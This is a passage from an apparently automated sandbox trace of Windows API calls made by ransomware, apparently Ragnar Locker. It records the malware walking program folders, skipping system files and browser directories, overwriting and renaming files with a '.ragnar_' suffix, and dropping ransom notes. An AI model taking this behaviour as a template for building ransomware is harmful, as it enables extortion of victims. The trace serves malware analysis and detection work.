lpString2="ntuser.dat") returned 1 [0079.518] lstrcmpiW (lpString1="sql90.xsl", lpString2="ntuser.dat.log") returned 1 [0079.519] lstrcmpiW (lpString1="sql90.xsl", lpString2="ntuser.ini") returned 1 [0079.519] lstrcmpiW (lpString1="sql90.xsl", lpString2="thumbs.db") returned -1 [0079.519] lstrcmpiW (lpString1=".xsl", lpString2=".db") returned 1 [0079.519] lstrcmpiW (lpString1=".xsl", lpString2=".sys") returned 1 [0079.519] lstrcmpiW (lpString1=".xsl", lpString2=".dll") returned 1 [0079.519] lstrcmpiW (lpString1=".xsl", lpString2=".lnk") returned 1 [0079.519] lstrcmpiW (lpString1=".xsl", lpString2=".msi") returned 1 [0079.519] lstrcmpiW (lpString1=".xsl", lpString2=".drv") returned 1 [0079.519] lstrcmpiW (lpString1=".xsl", lpString2=".exe") returned 1 [0079.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0079.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0079.519] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=39515) returned 1 [0079.519] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9a52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.519] GetProcessHeap () returned 0x580000 [0079.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.519] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0079.521] VirtualAlloc (lpAddress=0x0, dwSize=0x9a5b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.521] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.521] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0079.521] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9a5b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x9a5b, lpOverlapped=0x0) returned 1 [0079.522] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0079.522] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9a5b, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.522] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9a5b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x9a5b, lpOverlapped=0x0) returned 1 [0079.523] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9a5b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.523] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.523] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9a5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.523] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.523] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.523] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.524] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0079.524] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.524] GetProcessHeap () returned 0x580000 [0079.524] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.524] CloseHandle (hObject=0x104) returned 1 [0079.524] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" [0079.524] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.ragnar_FD7BD9FC" [0079.524] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.529] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0079.529] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.529] lstrcpyW (in: lpString1=0x1eab78, lpString2="Sybase.xsl" | out: lpString1="Sybase.xsl") returned="Sybase.xsl" [0079.529] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned=".xsl" [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="autorun.inf") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="boot.ini") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="bootfont.bin") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="bootsect.bak") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="bootmgr") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="bootmgr.efi") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="bootmgfw.efi") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="desktop.ini") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="iconcache.db") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="ntldr") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="ntuser.dat") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="ntuser.dat.log") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="ntuser.ini") returned 1 [0079.529] lstrcmpiW (lpString1="Sybase.xsl", lpString2="thumbs.db") returned -1 [0079.529] lstrcmpiW (lpString1=".xsl", lpString2=".db") returned 1 [0079.529] lstrcmpiW (lpString1=".xsl", lpString2=".sys") returned 1 [0079.530] lstrcmpiW (lpString1=".xsl", lpString2=".dll") returned 1 [0079.530] lstrcmpiW (lpString1=".xsl", lpString2=".lnk") returned 1 [0079.530] lstrcmpiW (lpString1=".xsl", lpString2=".msi") returned 1 [0079.530] lstrcmpiW (lpString1=".xsl", lpString2=".drv") returned 1 [0079.530] lstrcmpiW (lpString1=".xsl", lpString2=".exe") returned 1 [0079.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0079.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0079.531] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=29790) returned 1 [0079.531] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7455, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.531] GetProcessHeap () returned 0x580000 [0079.531] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.531] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0079.533] VirtualAlloc (lpAddress=0x0, dwSize=0x745e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.533] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.533] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0079.533] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x745e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x745e, lpOverlapped=0x0) returned 1 [0079.534] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0079.535] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x745e, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.535] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x745e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x745e, lpOverlapped=0x0) returned 1 [0079.535] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x745e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.535] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.535] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x745e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.535] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.535] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.535] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.536] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0079.536] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.536] GetProcessHeap () returned 0x580000 [0079.536] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.536] CloseHandle (hObject=0x104) returned 1 [0079.536] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" [0079.536] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.ragnar_FD7BD9FC" [0079.536] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0079.536] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0079.536] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".") returned 1 [0079.537] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="..") returned 1 [0079.537] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0079.537] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".") returned 1 [0079.537] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="..") returned 1 [0079.537] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0079.537] lstrcmpiW (lpString1="msolap100.dll", lpString2=".") returned 1 [0079.537] lstrcmpiW (lpString1="msolap100.dll", lpString2="..") returned 1 [0079.537] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0079.537] lstrcmpiW (lpString1="msolui100.dll", lpString2=".") returned 1 [0079.537] lstrcmpiW (lpString1="msolui100.dll", lpString2="..") returned 1 [0079.537] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2=".") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="..") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="Windows") returned -1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="Windows.old") returned -1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="Tor browser") returned -1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="Internet Explorer") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="Google") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="Opera") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="Opera Software") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="Mozilla") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="Mozilla Firefox") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="$Recycle.Bin") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="ProgramData") returned 1 [0079.537] lstrcmpiW (lpString1="Resources", lpString2="All Users") returned 1 [0079.537] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0079.537] lstrcpyW (in: lpString1=0x1eb63a, lpString2="Resources" | out: lpString1="Resources") returned="Resources" [0079.537] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0079.537] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0079.538] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\RGNR_FD7BD9FC.txt" [0079.538] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.539] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*" [0079.539] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4a [0079.539] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.539] lstrcpyW (in: lpString1=0x1ea762, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a7a160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.540] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.540] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a7a160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.540] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.540] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.540] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.540] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0079.540] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0079.540] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4a [0079.540] lstrcpyW (in: lpString1=0x1eab76, lpString2="1033" | out: lpString1="1033") returned="1033" [0079.540] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS 